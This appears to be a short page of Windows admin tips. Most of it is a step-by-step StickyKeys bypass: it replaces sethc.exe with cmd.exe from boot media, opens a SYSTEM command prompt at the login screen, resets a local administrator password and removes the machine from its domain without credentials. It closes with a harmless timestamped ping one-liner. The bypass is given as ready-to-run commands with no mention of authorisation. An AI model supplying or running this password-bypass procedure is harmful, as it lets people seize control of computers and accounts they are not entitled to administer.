Windows General

Unjoin domain without admin psswd

Boot off a USB or CD to something that gets you a command prompt. (Google how to make a boot disk if you need to)

copy c:\windows\system32\sethc.exe c:\

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

Reboot the PC.

Hit the shift-key 5 times to activate "StickyKeys" and type:

net user adminaccount newpassword

Don't forget to copy the original StickyKeys file back.

Type the following commands at this point to unjoin the domain:

start /B /W wmic.exe /interactive:off ComputerSystem Where "Name='%computername%'" Call UnJoinDomainOrWorkgroup FUnjoinOptions=0
start /B /W wmic.exe /interactive:off ComputerSystem Where "Name='%computername%'" Call JoinDomainOrWorkgroup name="WORKGROUP"

Infinite ping with time

ping.exe -t 8.8.8.8|Foreach{"{0} - {1}" -f (Get-Date),$_}